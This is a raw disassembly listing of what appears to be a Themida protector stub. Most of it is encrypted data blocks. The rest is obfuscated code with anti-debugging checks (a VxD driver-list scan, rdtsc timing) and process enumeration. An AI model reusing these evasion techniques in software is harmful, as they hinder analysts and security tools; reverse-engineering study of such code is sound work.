		dd 2ABF5C0Fh, 0CC7CC37Fh, 2B47236Dh, 6E3E2F51h,	5F5BE569h
		dd 9733F00Dh, 6F6DCC0Bh, 49C00AEAh, 0BE70B7Dh, 0A61C0FF1h
		dd 3E6DCC0Ah, 0FA4B59D9h, 0DF03D859h, 0C67D1C0Ah, 328F1D91h
		dd 0AF2A4479h, 4A0BDFEh, 96D7CFFDh, 0BBC08F97h,	31D4A987h
		dd 357036A5h, 9EDB904Bh, 4D703C9h, 534C2160h, 366B218Ah
		dd 406Ah, 21C59400h, 5C3B11E6h,	0D78D1BC0h, 0CC7C6ED4h
		dd 1CAA866Dh, 4D7A9D7h,	0F571255Ch, 0CC7CBC06h,	0FFDC586Dh
		dd 437A3225h, 896D775h,	85B84FEFh, 2418D3A8h, 0CAB6F195h
		dd 40BB9166h, 2Fh, 1BC05C8Ch, 97D67A41h, 782C6D20h, 0D745DFFCh
		dd 0CC7C6ED4h, 0EAB0A46Dh, 0A9D7F5D7h, 0CC7C4002h, 0B3C8A46Dh
		dd 37498028h, 0A6C3FEA4h, 5C8A421Eh, 5B4E20BFh,	6DCC7CF3h
		dd 64630F0Bh, 34D286BBh, 2A447932h, 7CED5554h, 24096DCCh
		dd 21A7B5ACh, 46233FEEh, 0D7CFFD7Eh, 7C4002A9h,	0C8A46DCCh
		dd 1FC652B3h, 0CC7CD66Ch, 73322E6Dh, 0EAB094CFh, 4E1D96D7h
		dd 0C2E06249h, 28046DCCh, 0E6A5643h, 0F6E78539h, 366B222Bh
		dd 6B0Bh, 0C05C8100h, 6C1F411Bh, 6DCC7CD6h, 8F15322Eh
		dd 4002A9D7h, 0A46DCC7Ch, 0B3CDB3C8h, 2D4A7F28h, 0CC7CCC76h
		dd 7E4C286Dh, 78C4A9D7h, 0CEC4E388h, 32E5BF9Ch,	2B03A87Ah
		dd 0EA463A79h, 9F161A06h, 694B0EBh, 0C67B3E42h,	0C09D998Dh
		dd 32A9D7E4h, 0E959407Dh, 0D6DCC7Ch, 538D3C11h,	0B3000000h
		dd 0F7AC8228h, 866AC6BAh, 0EBC1969Ah, 8D1BC05Ch, 255C04D7h
		dd 7CB15A71h, 0AB057358h, 0CC749452h, 60E2C9AFh, 0A26DCC9Ah
		dd 0A9D7E4B2h, 50447932h, 7C9D25D4h, 0FD796DCCh, 3232F8E0h
		dd 0C801A87Ah, 30E158DCh, 431F03EFh, 0C2FBB229h, 0AF7552CEh
		dd 5408A42h, 8C000001h,	4E20BF5Ch, 0E75B4E30h, 0FF6DCC7Ch
		dd 0FD5D4623h, 0E76DCC7Ch, 731EECE6h, 2EDF4EE2h, 193D39EDh
		dd 0A2473E44h, 0DD0AB873h, 6EEA6DCCh, 3826E52h,	0C9B3275Ch
		dd 6E225B12h, 0E3E0C5F2h, 9528CF7Bh, 0A9D7ECB8h, 0CC7C4002h
		dd 0B3C8A46Dh, 7C4A7F28h, 0C05CCFFDh, 688CCD80h, 1C16896h
		dd 0E56DCC7Ch, 35D87489h, 222BF697h, 3B0B366Bh,	81000000h
		dd 411BC05Ch, 0BA3E0F0Ch, 0CAEEDB12h, 9CAD9A4Eh, 5F0FB78Ah
		dd 0D794304Dh, 0CC7C6ED4h, 1CAA866Dh, 7A32F5D7h, 96D77543h
		dd 90376B20h, 54933586h, 58F05B70h, 5B40h, 0C05C8C00h
		dd 0D67A411Bh, 0D7EAC297h, 7C4002A9h, 2DA46DCCh, 0D0544077h
		dd 7EF1C7F4h, 8B6ED966h, 239F8A6Eh, 0A16DCCBDh,	0BD76CCBFh
		dd 9C8E6DCCh, 0CCBD55EDh, 91B5B16Dh, 0AA70E4BCh, 4002A9D7h
		dd 0A46DCC7Ch, 235C11C8h, 2D6F36Fh, 0D796D728h,	4A9680FFh
		dd 863EF5D2h, 8A42C94Fh, 0F53B7932h, 3262E2h, 0E05A462Ah
		dd 2D162EEBh, 0EB00B85Ch, 0CB7FBA70h, 22C3934Ch, 70EB05E1h
		dd 8F937FBAh, 279DCCBAh, 0F86DCC9Eh, 1661A4Fh, 1C50290Fh
		dd 0DE91485Fh, 50E3F5A1h, 0AA590BB1h, 4C812A0Bh, 2D620990h
		dd 90340779h, 0F512B05Bh, 76F26DCCh, 0ADCAA65Ah, 4EF57F09h
		dd 80B56EB7h, 7B6077CCh, 9639AA61h, 81DD67FCh, 1A78C695h
		dd 0E89B943Ch, 0D061AC49h, 3941397Ah, 8B000000h, 50447932h
		dd 0CC7CB909h, 0B6EF966Dh, 0DF14CBCAh, 0D2782F33h, 0DAEEB97h
		dd 0E9984A76h, 28C9904Ah, 775B964Ch, 9D2A78Bh, 0A1DC9262h
		dd 0ACC2ABC5h, 0E15EABADh, 0DF6DF106h, 50447932h, 75875463h
		dd 0F9F9F4B6h, 0BA949067h, 0FE5DE5A4h, 0BDB99426h, 2AC916A0h
		dd 77EC9FB1h, 8F9E169Dh, 0E4A7B993h, 9E16235Eh,	0E19DBAB6h
		dd 16230CBAh, 3DD4EF9Eh, 7EC4C799h, 969E1623h, 235DE5A4h
		dd 0BDB99E16h, 0F2BBC499h, 0D23F90D6h, 28h, 20BF5C38h
		dd 7CF75B4Eh, 130F6DCCh, 92CB8239h, 984F93B8h, 0BBEEAB0Ch
		dd 0CC7472D0h, 0BA96926Dh, 12B0199Dh, 1C000000h, 4E20BF5Ch
		dd 0CC7CF35Bh, 3D0F0B6Dh, 1A8EC77Eh, 1B4408Ch, 1E400000h
		dd 0CC7CD76Bh, 16332F6Dh, 26C35C8Eh, 0CC7CDF63h, 6332376Dh
		dd 0B96DF43Ch, 25F3CFF3h, 7932CFFDh, 96D77644h,	7C2F889Ah
		dd 958B1A3Fh, 75B056D5h, 0EC8A581h, 6004D778h, 0F1A5E086h
		dd 0C1A55175h, 222AF3ACh, 390A366Bh, 80000000h,	8E1CC35Ch
		dd 7C6ED4D7h, 0B4866DCCh, 0CC7C4DF5h, 7F32A96Dh, 783E223Eh
		dd 7B32F5D7h, 8A427442h, 8A5C04D7h, 7BF7ABE2h, 3C868557h
		dd 0D86DCC7Ch, 30C27F5Ch, 3A000000h, 8E1CC35Ch,	7F32A9D7h
		dd 0C082293Eh, 426DCC7Ch, 0F5D78412h, 28427B32h, 0DCCFFAB1h
		dd 6DCC7C66h, 0ACBEA27Eh, 0CC7C45FDh, 0A8C5A16Dh, 328A421Ch
		dd 0FD764479h, 80C05CCFh, 9D998DCCh, 772B6A1Eh,	3551D7FBh
		dd 222BF697h, 440B366Bh, 81000000h, 8D1BC05Ch, 0D08E96D7h
		dd 67548F33h, 18D095FDh, 153135E1h, 7B3E2038h, 0B66D8AC9h
		dd 6DCC8C0Ch, 0D7BE8CE8h, 437A32F5h, 7B3E4275h,	0D66E8BC8h
		dd 6B40h, 0D7794000h, 7C5BE7A2h, 5FBB6DCCh, 5CDE6683h
		dd 1F411BC0h, 510D0A2Eh, 0D7BE7DA2h, 6DCCF36Bh,	0F2BA8F8Bh
		dd 7C6ED4D7h, 7A646DCCh, 0D9CD0EBFh, 7C14AE5Dh,	74F06DCCh
		dd 0BB95C157h, 7C5CE6A5h, 21B86DCCh, 0E044306Fh, 0D75DE704h
		dd 6296D7F5h, 2F77F988h, 5175B056h, 0D209BF7Ch,	9F23E6F8h
		dd 0B06DCC1Bh, 4ECAC2F7h, 8A42B379h, 235E04D7h,	5DD6F36Fh
		dd 631F65A9h, 55030738h, 69D68571h, 0BE6DCC18h,	447B3109h
		dd 0AE557420h, 0DD9E8D79h, 51B47146h, 965AC6A7h, 0ED8413BAh
		dd 89639E44h, 0DE7E8164h, 68855CE3h, 7C3258EEh,	90365541h
		dd 0D7ECA155h, 1A55F938h, 61EE79Eh, 7D316DCCh, 0CE1A1542h
		dd 7D05EB45h, 0C24AA659h, 2E2C336Bh, 9EFFFFFEh,	0CC7C4402h
		dd 7C9DA96Dh, 84576DCCh, 0D8C1A6DBh, 33D57BB8h,	0EB56E8Bh
		dd 0F1923302h, 92330255h, 33020CBAh, 255F192h, 5145233h
		dd 26FB2DCDh, 698D89DBh, 0D44E9497h, 8AE65804h,	518A2996h
		dd 36DA617Fh, 0AC29E2F7h, 6A5E10BAh, 66EF49EEh,	9581803Bh
		dd 32204h, 5B9E5000h, 79B058DFh, 568F36C5h, 73B053E2h
		dd 4D8C40B7h, 0FD6F9B91h, 0C9500C4Bh, 0E473E728h, 0D047033Eh
		dd 8366E217h, 0F9309279h, 0D7D46BD9h, 4479324Dh, 87546350h
		dd 0F9F0B675h, 9A8C67F9h, 26FE53EFh, 9BB7B394h,	0FEDE681Fh
		dd 7A999426h, 16CC8F61h, 0A24E8B40h, 0B3C5A2BEh, 137B1AF8h
		dd 4C1EFA9Eh, 0E55D4C32h, 19E1978h, 78CC7625h, 4C289E19h
		dd 0D992492Fh, 0F5B4CAA4h, 9E19784Dh, 26B0CDA9h, 0DECDF8AFh
		dd 9E197864h, 24DC13B9h, 0D5C1F6ADh, 47487551h,	0AB3B0C5Eh
		dd 0A514521h, 9E19B1A4h, 0D5A734C3h, 0A37B30ABh, 0CEABC7FCh
		dd 2C3499D5h, 6EED1394h, 348E7DB8h, 0D0800C33h,	0A7837754h
		dd 285D06D5h, 0F5B4CAB4h, 800C334Dh, 5BF00074h,	0DB93C7CDh
		dd 3AF16A7Fh, 2E1F1105h, 6B82FED9h, 30DBF50Eh, 800CFD92h
		dd 84E1F672h, 95946675h, 8A3978D5h, 0B401F571h,	0BAA4B625h
		dd 351249FFh, 52FA584Eh, 0D2774280h, 62BEC499h,	41E37688h
		dd 35120E02h, 1C90C57Eh, 96D57742h, 0EA7186EAh,	26180C41h
		dd 0A3ABB825h, 0A0CDC597h, 917BE9D8h, 902D7ABh,	8C593ABDh
		dd 0ACBE1DBCh, 6CEBB9FDh, 38F34586h, 0B6B3E88Ah, 1ED2EE6Ah
		dd 0E8A342D1h, 0B6B3E85Ah, 68825EBAh, 8392B4C1h, 3E3B30BCh
		dd 9AD98BB3h, 8D5D8AE6h, 8FACF78h, 1D87BF2Ch, 9D896688h
		dd 1A60Ch, 0EF32D400h, 0CD04BC3Bh, 0AAE38A11h, 0C704A72Eh
		dd 0A1E08413h, 91C33F2Dh, 0AD2CA0DFh, 78FFBBFCh, 942397D2h
		dd 702B6EBh, 0FBCC7635h, 0CB286BD9h, 6004D701h,	0B2567521h
		dd 0EB7A4F73h, 2A8906CCh, 0BDF6A3D2h, 4EF4C799h, 0B69ACF78h
		dd 6F9166CAh, 346C5C91h, 15E647E7h, 0AF0B4B38h,	0CA9167F9h
		dd 363AE627h, 11056121h, 0B4C615A4h, 16CB28F5h,	7115A49Eh
		dd 11E64A36h, 0A4A81511h, 8A403D37h, 121099Ah, 9F4F0000h
		dd 0B359E05Ch, 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h
		dd 0C783C266h, 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh
		dd 4D6BD9FBh, 0BD5CC450h, 115D4C1Eh, 0AD67F9F9h, 0CAD595A8h
		dd 96C32899h, 0C2CC8E93h, 0D6CAA6F8h, 57D308BFh, 0FEF227E0h
		dd 0A7B922B1h, 13DA0EE4h, 0B155E49Eh, 0CF0CBF76h, 0DE9108FAh
		dd 0B107AE98h, 557191F7h, 58E3BD71h, 0EA29DBB3h, 0C26AF106h
		dd 0A148CF8Bh, 28DC1BCDh, 25B4284Ch, 12894582h,	98E0845Eh
		dd 70177044h, 0E7D4F0BEh, 12D4957Fh, 0BE7A569Dh, 84569537h
		dd 2CD80FB5h, 99BDFAADh, 2B20FAC4h, 8ECA148Dh, 3A01D62Fh
		dd 53E25697h, 0E6B874AFh, 8074AF53h, 530CC7A4h,	7A2BAA1Eh
		dd 94B0E59Eh, 0A62CCB18h, 0E0503E07h, 0CBD7CB5h, 0D6D5A7CBh
		dd 942DC03Ch, 1FA366D8h, 0F78072C0h, 2CAB577Bh,	0B08A3E73h
		dd 0C067DBCEh, 0A37F8072h, 9120CAB6h, 0E7041D58h, 1A7Ah
		dd 92458600h, 9A8CCD43h, 97C0C9C7h, 6B02F1B2h, 215FB68Eh
		dd 0C7BBF29Ah, 32B68E6Bh, 52493D80h, 19B06499h,	4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 4EC81h, 2C890000h, 81E58924h, 4C5h, 4ED8300h
		dd 5C242C87h, 5E08950h,	4, 42Dh, 24048700h, 243C895Ch
		dd 1DF168h, 241C8900h, 480CBFh,	0F0E7812Dh, 55052243h
		dd 0F14C28BDh, 81D5F772h, 2D52D8EDh, 0DC58176h,	81532C5Eh
		dd 0E77D28F5h, 5DEF2994h, 13AA68h, 24248900h, 4240481h
		dd 5B000000h, 24048157h, 3C381F2Bh, 5108438Fh, 381F2BB9h
		dd 84B293Ch, 2434FF59h,	4C4835Bh
; ---------------------------------------------------------------------------
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 4E7E9C50h, 87E2644Ah
		db 0A0h, 0C1h, 0Ch
; ---------------------------------------------------------------------------


loc_5A3E3F:				; CODE XREF: Themida_:005A3224j
		mov	eax, 6158929h
		add	eax, ebp


loc_5A3E46:				; CODE XREF: Themida_:loc_5A321Fj
		mov	eax, ebx
		lea	ecx, [ebp+6158AA6h]
		push	0
		push	esi
		call	sub_5A3E59
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3E59	proc near		; CODE XREF: Themida_:005A3E51p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5A3E59	endp

; ---------------------------------------------------------------------------
		leave
		mov	bh, 0DFh
		dec	ebp
		xchg	eax, ebp
		jmp	loc_5A3E85
; ---------------------------------------------------------------------------
		db 0BDh
; ---------------------------------------------------------------------------
		inc	esi
		push	5Fh
		mov	[edi-3Ah], bl
		stosd
		neg	byte ptr [ebp+ebx*8-45h]
		cmp	[ecx+3B06E5E4h], ebx


loc_5A3E85:				; CODE XREF: Themida_:005A3E6Ej
		mov	edi, [ebp+6103009h]
		mov	[ebp+61009F5h],	ecx
		jp	loc_5A3E9D
		mov	[ebp+6102845h],	edx


loc_5A3E9D:				; CODE XREF: Themida_:005A3E91j
		mov	dword ptr [ebp+6102319h], 6F0Ch
		call	near ptr loc_5A3EB6+1
		fstp	dword ptr [esi+ecx+41h]
		and	[ebp-23h], ebx
		xor	cl, [edx-30h]


loc_5A3EB6:				; CODE XREF: Themida_:005A3EA7p
		cmp	al, 23h
		xchg	eax, ebp
		mov	eax, ds:5806100Ch
		mov	dword ptr [ebp+61022C1h], 0
		jbe	loc_5A3ED4
		and	edx, [ebp+61010F9h]


loc_5A3ED4:				; CODE XREF: Themida_:005A3EC8j
		push	dword ptr [ebp+610232Dh]
		push	0
		push	eax
		call	sub_5A3EE5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A3EE5	proc near		; CODE XREF: Themida_:005A3EDDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5A3EE5	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5A3F45
; ---------------------------------------------------------------------------
		db 0EDh
		dd 6ABF724Bh, 0D3E781AEh, 0FF1084E5h, 102DB995h, 6AF806h
		dd 31C995FFh, 0C08B0610h, 69A479EBh, 0FC473DEEh, 1EB048A2h
		dd 83E3CFD7h, 22FA2CDh,	0B1D28087h, 0A8DA9290h,	0A9BE38FFh
		dd 0D051F969h, 0C2F707DDh, 0E242DBB4h, 0B3A438C5h
		db 0F3h
; ---------------------------------------------------------------------------


loc_5A3F45:				; CODE XREF: Themida_:005A3EF5j
		dec	ecx
		outsd
		mov	eax, 0E31C44C0h
		mov	esi, 0A78A82A2h
		sub	al, 32h
		retn
; ---------------------------------------------------------------------------
		jmp	short loc_5A3FD0
; ---------------------------------------------------------------------------
		db 0CCh
		db 0D5h
		dd 90F2358h, 9237AD0Ah,	9A689087h, 34913AFFh, 0E7A637D1h
		dd 0AD866181h, 78A1C07Bh, 0FBF786DBh, 8D7A92F0h, 25B331Ah
		dd 64F0DDFBh, 89F2BC10h, 7F066101h, 0E9E3D539h,	184h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 40C35747h, 5D0B9580h
		dd 0F860508Fh, 0E961F38Bh, 5, 0A3AC0D8Fh, 0B58DF5F1h, 6158BC4h
		dd 0E850006Ah
; ---------------------------------------------------------------------------


loc_5A3FD0:				; CODE XREF: Themida_:005A3F54j
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		and	[eax-3Dh], bl
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 16h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		pop	edx
		jmp	short loc_5A405D
; ---------------------------------------------------------------------------
		clc
		jz	loc_5A3FFF
		pusha
		jmp	loc_5A3FFC
; ---------------------------------------------------------------------------
		db 0D0h
		dd 879AE082h
; ---------------------------------------------------------------------------


loc_5A3FFC:				; CODE XREF: Themida_:005A3FF2j
		mov	ah, 0A8h
		popa


loc_5A3FFF:				; CODE XREF: Themida_:005A3FEBj
		lea	eax, [ebp+61354E6h]
		jmp	loc_5A4012
; ---------------------------------------------------------------------------
		db 0C7h	; Ç
		db  60h	; `
		db 0E6h	; æ
		db  51h	; Q
		db 0A7h	; §
		db  3Dh	; =
		db    6
		db  43h	; C
; ---------------------------------------------------------------------------


loc_5A4012:				; CODE XREF: Themida_:005A4005j
		jmp	loc_5A4023
; ---------------------------------------------------------------------------
		db 78h
		dd 720987F1h, 0D3DDC4E5h
		db 0C6h, 47h, 0BFh
; ---------------------------------------------------------------------------


loc_5A4023:				; CODE XREF: Themida_:loc_5A4012j
		call	eax
		cld
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	bx, di
		sbb	bl, 0D6h
		popa
		mov	cx, ds
		push	0
		push	edi
		call	sub_5A403D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A403D	proc near		; CODE XREF: Themida_:005A4035p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5A403D	endp

; ---------------------------------------------------------------------------
		db 63h,	9Ah, 58h
		dd 1337B4DEh, 7E9BBBAh,	0BE000000h
		db 0F3h
; ---------------------------------------------------------------------------


loc_5A405D:				; CODE XREF: Themida_:005A3FE8j
		push	0FFFFFF9Ah
		stc
		in	al, dx
		setalc
		test	cl, 4
		jz	loc_5A40D4
		pusha
		call	near ptr loc_5A4082+1
		push	edi
		mov	bl, 0C1h
		jge	short loc_5A40A0
		pop	ebp
		aad	6Fh
		xchg	eax, esp
		and	ah, [ecx+61h]
		out	40h, al		; Timer	8253-5 (AT: 8254.2).
		rcl	byte ptr [edx],	1


loc_5A4082:				; CODE XREF: Themida_:005A406Cp
		sub	esp, [esi-75h]
		rcr	dword ptr [ebx-17h], 1
		sldt	word ptr [eax]
		add	[edi+53h], ch
		mov	edx, [eax+44h]
		lodsb
		or	bl, dh
		or	al, 0Bh
		sub	cl, [ebx+618480C9h]
		mov	edi, ebx
		mov	ecx, ebx


loc_5A40A0:				; CODE XREF: Themida_:005A4075j
		xor	al, al


loc_5A40A2:				; CODE XREF: Themida_:005A40A3j
		scasb
		jnz	short loc_5A40A2
		sub	ecx, edi
		neg	ecx
		sub	edi, ecx
		mov	edx, edi
		dec	ecx
		mov	ebx, ecx
		jmp	short $+2
		VMMCall	VMM_GetDDBList


loc_5A40B8:				; CODE XREF: Themida_:005A40D2j
		or	eax, eax
		jz	short loc_5A40D4
		lea	esi, [eax+0Ch]
		mov	edi, edx
		mov	ecx, ebx


loc_5A40C3:				; CODE XREF: Themida_:005A40C7j
		cmpsb
		jnz	short loc_5A40D0
		dec	ecx
		jnz	short loc_5A40C3
		mov	eax, 1
		jmp	short locret_5A40D9
; ---------------------------------------------------------------------------


loc_5A40D0:				; CODE XREF: Themida_:005A40C4j
		mov	eax, [eax]
		jmp	short loc_5A40B8
; ---------------------------------------------------------------------------


loc_5A40D4:				; CODE XREF: Themida_:005A4065j
					; Themida_:005A40BAj
		mov	eax, 0

locret_5A40D9:				; CODE XREF: Themida_:005A40CEj
		iret
; ---------------------------------------------------------------------------
		jns	loc_5A40E7
		jno	loc_5A40E7
		cld


loc_5A40E7:				; CODE XREF: Themida_:005A40DAj
					; Themida_:005A40E0j
		jbe	loc_5A4104
		jmp	loc_5A4104
; ---------------------------------------------------------------------------
		dw 0EF64h
		dd 34AB4C9Ah, 9E1FF8F3h, 0E8DF6CDAh, 0CA353CA2h
; ---------------------------------------------------------------------------


loc_5A4104:				; CODE XREF: Themida_:loc_5A40E7j
					; Themida_:005A40EDj
		jbe	loc_5A4118
		jmp	loc_5A4118
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0E3296BE6h, 60F61735h
; ---------------------------------------------------------------------------


loc_5A4118:				; CODE XREF: Themida_:loc_5A4104j
					; Themida_:005A410Aj
		mov	dword ptr [ebp+6158C49h], 1013Fh
		call	sub_5A4139
		imul	esp, [ebp-28h],	0B852FFC2h
		dec	ebp
		enter	0FFFFA254h, 70h
		mov	eax, ds:0BC99E188h
		movsd

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5A4139	proc near		; CODE XREF: Themida_:005A4122p
					; sub_5A4151+1Bj
		jmp	sub_5A4151
sub_5A4139	endp

; ---------------------------------------------------------------------------
		dw 1C5Eh
		dd 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh
; ---------------------------------------------------------------------------
		pusha

; =============== S U B	R O U T	I N E =======================================



sub_5A4151	proc near		; CODE XREF: sub_5A4139j
		pop	eax
		add	eax, 5D86h
		mov	dx, 1581h
		push	1723h
		mov	ebx, esi
		pop	esi
		call	sub_5A416E
		xor	ch, [edi-15h]
		jbe	short near ptr sub_5A4139+3
sub_5A4151	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A416E	proc near		; CODE XREF: sub_5A4151+13p
		mov	dx, 7F6Fh
		pop	edi
		mov	ecx, [eax]
		call	near ptr locret_5A4186+3
		fcom	dword ptr [ecx+21h]
		int	68h		;  - APPC/PC
		mov	cl, 0Eh
		mov	esp, 2E56EF50h

locret_5A4186:				; CODE XREF: sub_5A416E+7p
		db	26h
		retf	0F9Ah
sub_5A416E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 685h
		dd 0F000000h, 8Ah, 0C1815F00h, 13E56F2Ch, 12BF66h, 96ABF181h
		dd 0B70F41A1h, 0D4E981D0h, 6610A78Eh, 89B2F2BAh, 0BE808h
		dd 9A300000h, 153276B7h, 0A3D8AC74h, 8DE281BDh,	5B0D82D2h
		dd 0F04E883h, 88Eh, 2870F00h, 8B000000h, 1EE83DEh, 27850Fh
		dd 8D0F0000h, 0Bh, 89E28160h, 0F279C08h, 0E961D8B7h, 29h
		dd 23B35497h, 4349AFF8h, 7BF963DBh, 9598FBCh, 0DA81666Ch
		dd 5CE9B03Ch, 1BFFFFFFh, 8031B5ABh, 0A0D1275Ch,	46DA38ABh
		dd 13CE909h, 4Fh dup(0)
		dd 0BD830000h, 6101AD9h, 0B6840F01h, 6A000005h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0FBD2C350h, 137FE00Dh, 1800F22h, 0FC000000h,	0AE9h
		dd 3E780E00h, 1BA1759Ah, 0C6A3EFE3h, 1023E585h,	0DE94306h
		dd 7A000000h, 0A594280Bh, 0AB9FB2Eh, 557036FDh,	4E8h, 0A5D0F500h
		dd 0EE9ECh, 8D2B0000h, 31FF77C1h, 53CCF8AAh, 1FA1D196h
		dd 5E950h, 12E40000h, 8B6B0A97h, 50042444h, 68D0F52h, 0F000000h
		dd 8Ah,	0F310F00h, 687h, 860F00h, 5A000000h, 0E9008B58h
		dd 10h,	0A36B7DAh, 0A825C8C4h, 4E08C30h, 0A17BAC25h, 4244489h
		dd 7E95250h, 60000000h,	0C3AC2D3Bh, 310F8A3Dh, 52505250h
		dd 585A310Fh, 5250310Fh, 585A310Fh, 585A585Ah, 1800F58h
		dd 0FC000000h, 1D45B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 29392BC3h, 58D0E6F1h
		dd 6660F914h, 0FF32DBFh, 286h, 615B5100h, 0FE9h, 249DF600h
		dd 828A8F17h, 35377662h, 0E589FED3h, 858A858Dh,	0E9600613h
		dd 9, 8A9D141Ah, 35C57108h, 61F88AD9h, 0BB60D0FFh, 273297E1h
		dd 0AE9h, 0ED609400h, 42AC56BDh, 61E085BDh, 8B98589h, 0FC600610h
		dd 0C78B6652h, 85C6615Fh, 61023E5h, 4E8F850h, 56000000h
		dd 0E9A8ADADh, 12h, 918B5298h, 9E6B7DBBh, 9E302A4Eh, 632BB765h
		dd 60505089h, 24448B61h, 0E9525004h, 6,	0E928A61Eh, 310FE1C4h
		dd 0F525060h, 8B585A31h, 585A61FAh, 5660008Bh, 77C7F6BEh
		dd 89615857h, 0E9042444h, 0Ch, 12A2EEB4h, 430E8ED5h, 5C881676h
		dd 1820F58h, 0F8000000h, 1D45B5FFh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 840F56C3h
		dd 13h,	0EE9h, 0C81D9D00h, 0A38DCD04h, 69F57B20h, 8D9DFABDh
		dd 13858A85h, 0D0FFF506h, 8A0F60h, 60000000h, 88A0BA66h
		dd 6135CE80h, 21858961h, 0F061020h, 0C8Dh, 6890F00h, 0F000000h
		dd 8Bh,	2FE46800h, 10E9D6FCh, 99000000h, 0FAA7C8E6h, 7B32943Fh
		dd 0D5F15FFh, 81B1717Ch, 87CB2434h, 6A2673h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 1F092AC3h
		dd 6003FFF9h, 0FE8h, 0FA4DE200h, 2DE29A8Dh, 52A3B76Dh
		dd 0DEBE6794h, 8B535EF9h, 0FC615ADFh, 1D45B5FFh, 6A0610h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 51F72CC3h, 0F94CB0E6h, 8160CC9Eh, 0FE693EAh,	0AE845h
		dd 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah, 5962E880h, 6E86061h
		dd 0C7000000h, 0E76F3Eh, 0D8BF0F23h, 2870F5Bh, 8B000000h
		dd 858D61DAh, 613858Ah,	6E9h, 5889DB00h, 0FF2A8AA7h, 0C880FD0h
		dd 0F000000h, 68Ah, 840F00h, 89000000h,	10061D85h, 85C6FC06h
		dd 61023E5h, 51006A50h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 4A64323Fh, 142F6852h, 8F0FDDF4h
		dd 10h,	0A860Fh, 5E90000h, 46000000h, 1B65EA77h, 79243481h
		dd 6A4A68C8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 3D7EC352h, 6660D657h, 0FE9CA8Bh
		dd 0EC000000h, 0B395F859h, 2A5FFC12h, 429AED57h, 0FF61756Bh
		dd 101499B5h, 0CE906h, 37DB0000h, 0CB9BD300h, 94FA7AE1h
		dd 858D218Fh, 6103A32h,	6810F60h, 0F000000h, 8Ch, 0D68B6600h
		dd 0F9D0FF61h, 0FE9h, 0C7ECF800h, 0C78E2C23h, 2E645665h
		dd 25B92CC4h, 2F958589h, 0E8600610h, 0Ch, 792E935Dh, 0C2BAA86Fh
		dd 0FCEB6D19h, 6159F18Bh, 10E9h, 0A752DC00h, 256D5BE4h
		dd 0A661A1BBh, 2EBE3779h, 187E9FEh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0DA8EE9C3h
		dd 6167CBCh, 1839BE60h,	8D0F3AD2h, 5, 0D0DF3EBEh, 66606112h
		dd 0B966D08Bh, 5061CFB2h, 8D0F5250h, 0Dh, 8E9h,	0F3239C00h
		dd 4EA252B9h, 50310F46h, 0F616052h, 0F525031h, 5A585A31h
		dd 89585A58h, 0AE9242Ch, 6C000000h, 0C72824E0h,	127BA7EFh
		dd 6AEC8B14h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E95EC355h, 0Ch, 0AE7CB40Dh, 21063BA3h
		dd 61B76BF4h, 0FFCC483h, 880h, 28B0F00h, 60000000h, 890F6061h
		dd 1, 0E8F8h, 815A0000h, 1593FBEAh, 0FC45C706h,	0
; ---------------------------------------------------------------------------
		cmp	dword ptr [edx+6101AD9h], 1
		jz	loc_5A4919
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+61008B9h]
		pop	edx
		mov	[edx+6158DBFh],	eax
		lea	ebx, [edx+6158DC3h]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+6102021h]
		pop	edx


loc_5A48A9:				; CODE XREF: Themida_:005A48D3j
					; Themida_:005A4907j
		push	edx
		lea	ebx, [edx+6158DC3h]
		push	ebx
		push	dword ptr [edx+6158DBFh]
		call	dword ptr [edx+6102F95h]
		pop	edx
		or	eax, eax
		jz	short loc_5A4912
		lea	ebx, [edx+6158DC3h]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5A48CD:				; CODE XREF: Themida_:005A48DDj
